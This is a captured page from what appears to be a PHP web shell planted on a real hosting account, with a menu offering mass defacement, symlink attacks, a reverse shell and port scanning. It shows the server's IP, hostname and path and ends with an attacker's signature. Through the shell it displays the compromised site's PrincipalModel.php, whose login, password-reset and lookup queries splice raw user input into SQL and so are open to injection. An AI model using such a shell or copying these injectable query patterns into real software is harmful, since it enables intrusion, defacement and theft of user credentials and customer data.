Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
models
/
Viewing: PrincipalModel.php
<?php class PrincipalModel extends Query{ public function __construct() { parent::__construct(); } //datos para login public function getDatos($correo) { $sql = "SELECT u.id, u.nombre, u.correo, u.perfil, u.clave, u.estado, u.rol, u.id_sucursal, r.nombre AS rol_name, r.permisos FROM usuarios u LEFT JOIN roles r ON u.rol = r.id WHERE u.correo = '$correo' AND u.estado = 1"; return $this->select($sql); } public function getEmpresa() { return $this->select("SELECT * FROM empresa"); } public function getProductosPublicos($id_sucursal = null) { $sql = "SELECT p.id, p.descripcion, p.precio_venta, p.foto, p.id_sucursal, c.categoria, mar.marca FROM productos p INNER JOIN categorias c ON p.id_categoria = c.id INNER JOIN marcas mar ON p.id_marca = mar.id WHERE p.estado = 1"; if (!empty($id_sucursal)) { $sql .= " AND p.id_sucursal = $id_sucursal"; } return $this->selectAll($sql); } public function getProductoPublico(int $idProducto) { $sql = "SELECT p.id, p.descripcion, p.precio_venta, p.foto, p.cantidad, p.servicio, p.id_sucursal, c.categoria, mar.marca FROM productos p INNER JOIN categorias c ON p.id_categoria = c.id INNER JOIN marcas mar ON p.id_marca = mar.id WHERE p.id = $idProducto AND p.estado = 1"; return $this->select($sql); } public function getSucursalPublica() { $titulo = defined('TITLE') ? TITLE : ''; if (!empty($titulo)) { $tituloQ = $this->quoteValueQuery($titulo); $sql = "SELECT id FROM sucursales WHERE estado = 1 AND nombre = $tituloQ LIMIT 1"; $row = $this->select($sql); if (!empty($row)) { return $row; } } $sql = "SELECT id FROM sucursales WHERE estado = 1 ORDER BY id ASC LIMIT 1"; return $this->select($sql); } public function getSucursalDefault() { $sql = "SELECT id FROM sucursales WHERE estado = 1 ORDER BY id ASC LIMIT 1"; return $this->select($sql); } public function registrarVentaPendiente( $productos, $total, $totalConImpuesto, $fecha, $hora, $metodo, $descuento, $impuesto, $moneda, $nota, $cliente_identidad, $cliente_num_identidad, $cliente_nombre, $cliente_telefono, $cliente_correo, $cliente_direccion, $id_sucursal ) { $sql = "INSERT INTO ventas_pendientes ( productos, total, totalConImpuesto, fecha, hora, metodo, descuento, impuesto, moneda, nota, cliente_identidad, cliente_num_identidad, cliente_nombre, cliente_telefono, cliente_correo, cliente_direccion, id_sucursal ) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; $array = array( $productos, $total, $totalConImpuesto, $fecha, $hora, $metodo, $descuento, $impuesto, $moneda, $nota, $cliente_identidad, $cliente_num_identidad, $cliente_nombre, $cliente_telefono, $cliente_correo, $cliente_direccion, $id_sucursal ); return $this->insertar($sql, $array); } public function getPermisos() { return $this->selectAll("SELECT * FROM permisos"); } public function verificarCorreo($correo) { $sql = "SELECT id FROM usuarios WHERE correo = '$correo' AND estado = 1"; return $this->select($sql); } public function registrarToken($token, $correo) { $sql = "UPDATE usuarios SET token = ? WHERE correo = ?"; $array = array($token, $correo); return $this->save($sql, $array); } public function verificarToken($token) { $sql = "SELECT id, token FROM usuarios WHERE token = '$token' AND estado = 1"; return $this->select($sql); } public function modificarClave($clave, $token) { $sql = "UPDATE usuarios SET clave = ?, token = ? WHERE token = ?"; $array = array($clave, null, $token); return $this->save($sql, $array); } //registrar log public function registrarAcceso($evento, $ip, $detalle) { $sql = "INSERT INTO acceso (evento, ip, detalle) VALUES (?,?,?)"; $array = array($evento, $ip, $detalle); return $this->insertar($sql, $array); } public function getReparacion($id) { $sql = "SELECT r.*, c.nombre AS cliente, c.telefono, c.direccion, m.marca FROM reparaciones r LEFT JOIN clientes c ON r.id_cliente = c.id LEFT JOIN marcas m ON r.id_marca = m.id WHERE r.id = $id"; return $this->select($sql); } } ?>
Coded With 💗 by
0x6ick